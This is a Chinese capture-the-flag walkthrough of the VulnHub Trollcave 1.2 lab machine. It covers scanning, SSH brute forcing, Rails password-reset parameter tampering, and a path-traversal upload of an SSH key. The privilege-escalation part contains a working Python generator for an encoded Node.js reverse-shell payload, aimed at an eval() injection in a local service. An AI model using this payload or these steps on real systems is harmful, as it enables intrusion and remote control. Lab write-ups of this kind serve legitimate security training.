介绍
https://www.vulnhub.com/entry/trollcave-12,230/
第一次打到ruby的站...几乎完全不会..简单记录下吧
ip和端口
靶机ip:192.168.1.101 端口情况
web站点踩点
进去发现就是个普通的站点
注册功能关闭了,也没啥功能,dirb扫一下
进去一看发现并没有什么用,都需要登录... 注意到文章
然而去访问并没有东西
尝试用各种admin的名字去用hydra爆破ssh,但是失败了
看了wp才知道ruby的resetpassword,参考ruby on rails的教程 https://www.railstutorial.org/book/password_reset#sec-password_resets_resource
那么去访问一下
发现重置密码页面,然而并不能重置superadmin的密码,尝试重置普通用户的密码
发现后面有个name参数,我们改成King,再去重置
成功进入管理页面
getshell
进去之后发现有个文件上传的页面,但是因为admin关闭并不能使用,我们去打开一下
要是php到这里其实就很简单了,直接上传一句话就结束了,但是ruby并不是的...这里是用传ssh密钥的方式..传文件可以目录穿越,但是我们怎么知道往哪传呢?登录之后我们可以看到更多文章,比如
发现存在rails用户和coderguys用户,其实还有很多,但是尝试之后发现只有rails的用户目录有.ssh,那么写入ssh密钥,拿到shell
登录
提权
首先还是看/etc/passwd
去用户目录看下,在king的目录下看到有个calc
发现是个本地的nodejs,curl一下看下
然后审计源码,发现calc里面存在任意代码执行
1 2 3 4 5 6 7 8 function calc (pathname, request, query, response ){ sum = query.split ('=' )[1 ]; console .log (sum) response.writeHead (200 , {"Content-Type" : "text/plain" }); response.end (eval (sum).toString ()); }
用到msf的代码加上魔改别人的代码写一个payload生成器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import sysif len (sys.argv) != 3 : print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0 ]) sys.exit(0 ) IP_ADDR = sys.argv[1 ] PORT = sys.argv[2 ] def charencode (string ): """String.CharCode""" encoded = '' for char in string: encoded = encoded + "," + str (ord (char)) return encoded[1 :] print "[+] LHOST = %s" % (IP_ADDR)print "[+] LPORT = %s" % (PORT)NODEJS_REV_SHELL = '''(function(){ var require = global.require global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(%s, "%s", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();1+1;''' % (PORT, IP_ADDR) print "[+] Encoding" PAYLOAD = charencode(NODEJS_REV_SHELL) print "eval(String.fromCharCode(%s))" % (PAYLOAD)
注意后面带上1+1;让服务器有返回
然后拿到shell
然后sudo -l发现可以执行任意代码,直接拿到root
参考wp:https://hackso.me/trollcave-1.2-walkthrough/